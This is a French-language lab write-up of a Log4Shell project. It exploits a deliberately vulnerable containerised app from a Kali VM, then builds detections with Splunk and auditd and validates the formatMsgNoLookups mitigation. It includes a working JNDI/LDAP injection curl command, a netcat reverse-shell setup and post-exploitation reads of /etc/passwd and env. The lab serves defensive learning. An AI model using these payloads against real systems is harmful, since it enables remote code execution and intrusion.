
Projet pratique démontrant l'exploitation de Log4Shell, l'ingénierie de détection avec Splunk et auditd, et une remédiation validée dans un environnement conteneurisé.
Un projet de sécurité offensive et défensive pratique simulant le cycle de vie complet de la vulnérabilité Log4Shell : exploitation depuis une VM contrôlée par l'attaquant, ingénierie de détection dans Splunk, et remédiation validée.
La plupart des projets de portfolio dans ce domaine couvrent le brute-force SSH. Je voulais quelque chose qui démontre un ensemble de compétences plus complet : exploiter une CVE réelle à fort impact de bout en bout, puis basculer du côté défensif pour la détecter et la corriger, le même cycle de vie qu'un ingénieur sécurité ou un ingénieur détection traverse en pratique.
illshot (192.168.1.85), exécutant Splunk nativement pour l'ingestion de journaux et la détectionghcr.io/christophetd/log4shell-vulnerable-app (Spring Boot, Log4j 2.14.1, Java 8u181) exécutée dans un conteneur Docker, journaux redirigés vers syslog de Mint via --log-driver=syslog1. Configurer l'écouteur et l'outil d'exploitation. J'ai démarré un écouteur netcat sur Kali pour capturer le callback du reverse shell, puis lancé un outil JNDI-Injection-Exploit auto-compilé (compilé depuis les sources car les versions précompilées n'étaient pas disponibles) pour servir la charge utile LDAP malveillante.

2. Envoyer l'exploit. J'ai délivré la charge utile via un en-tête HTTP forgé contenant une chaîne de recherche JNDI, ciblant l'application vulnérable sur le port 8080.
curl 192.168.1.85:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.86:1389/<payload-id>}'

3. Capturer le shell. L'application vulnérable a analysé l'en-tête, déclenché la recherche JNDI, et contacté ma machine Kali pour récupérer et exécuter la classe malveillante, résultant en un reverse shell s'exécutant en tant que root à l'intérieur du conteneur.

Reconnaissance post-exploitation (comme le ferait un véritable attaquant) : confirmation de l'accès root, examen des variables d'environnement (propres, aucune secret divulgué), inspection du jar de l'application, et examen de /etc/passwd, qui a révélé un ensemble de comptes de service inutilisés de l'image de base Alpine, un bon exemple d'artefact de reconnaissance trompeur qui ne reflète pas la surface d'attaque réelle.
Splunk, ingérant le syslog de Mint, a capturé toute la chaîne d'exploitation : la requête de recherche JNDI initiale, la trace de pile NamingException et ClassCastException résultante, ainsi que les commandes sudo docker exec associées utilisées pour interagir avec le conteneur au niveau de l'hôte.

La reconnaissance était également visible avant l'exploitation : les journaux du pare-feu UFW ont capturé le trafic de scan Nmap depuis Kali vers la cible.

Un résultat technique clé de ce projet : un reverse shell brut nc -e /bin/sh ne s'authentifie jamais via PAM, il ne génère donc aucune entrée dans auth.log et aucune session de connexion. À lui seul, cela rendrait ce type de shell invisible pour la journalisation standard basée sur les connexions.
Cependant, les conteneurs Docker partagent le noyau de l'hôte plutôt que d'exécuter des noyaux virtualisés entièrement isolés. Cela signifie que chaque execve (exécution de processus) à l'intérieur du conteneur reste visible par le sous-système d'audit de l'hôte. J'ai configuré auditd sur Mint pour surveiller les appels système execve à l'échelle du système, étiqueté la règle (container_exec), et alimenté /var/log/audit/audit.log dans Splunk comme nouvelle source.

En redéclenchant l'exploit et en exécutant des commandes post-exploitation (whoami, cat /etc/passwd, ls /app, env), la théorie a été confirmée : auditd a capturé chaque commande, y compris l'invocation brute du reverse shell nc elle-même, avec l'IP et le port de l'attaquant directement visibles dans les arguments journalisés.

L'activité post-exploitation plus large était également entièrement visible, s'exécutant sous /bin/busybox (le shell minimal du conteneur implémente la plupart des outils Unix comme des liens symboliques vers un seul binaire BusyBox, donc comm affiche busybox tandis que exe résout toujours le chemin complet) :

Un détail supplémentaire mérite d'être noté : chaque événement capturé montrait auid=4294967295 (non défini/aucune session de connexion) associé à uid=0 (root). Cette combinaison est en soi une preuve solide d'un shell non authentifié, un processus s'exécutant avec tous les privilèges root mais sans aucun identifiant de connexion d'audit, exactement ce à quoi on s'attend d'un shell qui a contourné entièrement l'authentification normale.
Requêtes de détection clés utilisées :
index=main *jndi*
index=* sourcetype=linux_audit key=container_exec exe=/bin/busybox
| table _time, exe, comm, pid, ppid, uid
| sort _time
Application de l'atténuation officielle provisoire publiée par Apache et CISA avant les versions corrigées de Log4j : désactivation des recherches de messages JNDI via une propriété système JVM.
docker run -d --name vuln-log4j --log-driver=syslog --log-opt tag="vuln-log4j" \
-p 8080:8080 \
-e JAVA_TOOL_OPTIONS="-Dlog4j2.formatMsgNoLookups=true" \
ghcr.io/christophetd/log4shell-vulnerable-app
En réessayant exactement la même chaîne d'exploitation après remédiation, le correctif a été confirmé : la requête arrivait toujours et était journalisée, mais la recherche JNDI n'a jamais été évaluée, aucun callback, aucune trace de pile, aucun shell.

Cette comparaison est la preuve la plus claire du projet : l'attaque d'origine a généré une chaîne d'exploitation complète avec plus de 136 événements de journal associés et un callback réussi. Après remédiation, l'attaque identique génère une seule ligne de journal bénigne sans aucune activité de recherche en aval.
À noter pour la défense en profondeur : la tentative d'exploit est restée visible dans les journaux même après remédiation. La valeur de détection ne disparaît pas une fois qu'une vulnérabilité est corrigée, un système corrigé qui serait ensuite mal configuré, ou une charge utile variante, serait toujours détecté par les mêmes requêtes de détection construites ici.